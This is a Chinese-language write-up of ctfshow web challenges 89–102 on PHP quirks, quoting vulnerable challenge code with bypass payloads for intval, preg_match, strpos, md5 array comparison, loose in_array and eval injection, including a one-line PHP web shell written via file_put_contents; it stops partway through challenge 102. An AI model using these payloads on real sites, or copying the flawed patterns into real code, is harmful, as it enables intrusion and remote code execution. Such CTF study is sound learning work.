CTFSHOW WEB入门 php特性
WEB89
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 15:38:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
preg_match — 执行匹配正则表达式
intval() 函数用于获取变量的整数值。
本题考点是数组绕过正则表达式
需要给num传参
?num[]=1;
得到flag:ctfshow{df6f1c62-9c0a-4024-8ef0-b137a612b108}
WEB90
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
intval ( mixed $value , int $base = 10 ) : int 如果 base 是 0,通过检测 value 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。
intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制 intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格
num=010574
得到flag:ctfshow{054fb7b5-3b3b-47e3-a220-80f0df227382}
WEB91
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
i 不区分(ignore)大小写 m 多(more)行匹配 若存在换行\n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
payload:%0aphp
%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
得到flag:ctfshow{c08f965a-8abf-4482-9822-86a9e299e547}
WEB92
直接用上面的数字做出来了(web90)
看了下提示
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
WEB93
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
WEB94
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
这题重点在于绕过strpos
函数:strpos(string, find [,start]) 说明: string是规定被搜索的字符串;find是规定要查找的字符;start是规定开始搜索的位置。 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。 注释:字符串位置从 0 开始,不是从 1 开始。
看了一下可以用空格绕过 payload:%0a010574
提示
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0
WEB95
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
将4476转换为八进制并用空格绕过 strpos
payload: 010574
得到flag:ctfshow{cdf8b99f-7e29-4677-b4c3-dfd97bf9f610}
WEB96
highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
路径问题
下面方式在highlight_file中均等效于flag.php,也即本题的payload
/var/www/html/flag.php 绝对路径 ./flag.php 相对路径 php://filter/resource=flag.php php伪协议
得到flag:ctfshow{aa0b1c3b-53c5-4d28-a14a-21670590d026}
WEB97
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; }
此处的考察点为php中hash比较缺陷
原因:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
payload:a[]=1&b[]=2 但这题不知道怎么的我做不出来
后来做出来了
POST传参
得到flag:ctfshow{44d00065-c9fe-490c-90e0-87362fd86d08}
另外还有篇md5碰撞的文章:https://www.cnblogs.com/echoDetected/p/12309225.html
WEB98
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
借鉴了大佬的博客
$_GET?$_GET=&$_POST:'flag';表示如果GET传参,则用POST传参flag覆盖 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';同理如果GET传参是flag字符串,则用cookie传参的flag覆盖以下同理$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 如果传参的HTTP_FLAG为flag字符串,则读取flag文件,最后highlight显示
所以用GET方式随便传一个 用POST方式传一个HTTP_FLAG=flag;
payload: GET flag=1 POST HTTP_FLAG=flag
得到flag:ctfshow{7e9a551a-5b71-4ad0-8ead-8e7b7dd85188}
WEB99
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
该函数等于多次调用 $array[] = $value。
in_array() 函数搜索数组中是否存在指定的值。(注意:in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换)
file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
重点在于in_array()函数的漏洞 给n传参,1.php 直接被转化为1和allow中的值比较
之后使用file_put_contents函数创造文件并构造shell
payload:GET n=1.php POST content=<?php @eval($_POST["a"]);?>
之后查看当前目录文件


访问flag36d.php文件

查看源代码得到flag

WEB100
is_numeric() 函数用于检测变量是否为数字或数字字符串。
and/&& 和 or/|| 这两组运算符的优先级竟然是不一样的. and和or的优先级是低于=的
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
首先给v0赋值,根据and的特性,只要v1是数字,v0就会是true
根据两个preg_match()函数,以及eval("$v2('ctfshow')$v3")可以判断v2要传入命令,v3传入;
使用ReflectionClass做题
ReflectionClass 类报告了一个类的有关信息。
payload:v1=1&&v2=echo new ReflectionClass&&v3=;
使用var_dump()做题
var_dump — 打印变量的相关信息
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
或者
payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
得到flag

注意,626624430x2dedf00x2d4b980x2dae500x2dc539bdf350e1 中的0x2d要替换为 - ,ASCII编码
WEB101
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
过滤了很多东西,不能用var_dump了
用ReflectionClass
payload:v1=1&&v2=echo new ReflectionClass&&v3=;
得到flag
其中将0x2d用-替代之后,发现为4d7b126e-041c-4d52-8095-e9c1a9898ba 少了以为,直接用0 1 2 3 4 5 6 7 8 9 a b c d e f 这十六个爆破
最后得到flag ctfshow{4d7b126e-041c-4d52-8095-e9c1a9898baa}
WEB102
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
substr() 函数返回字符串的一部分。

浙公网安备 33010602011771号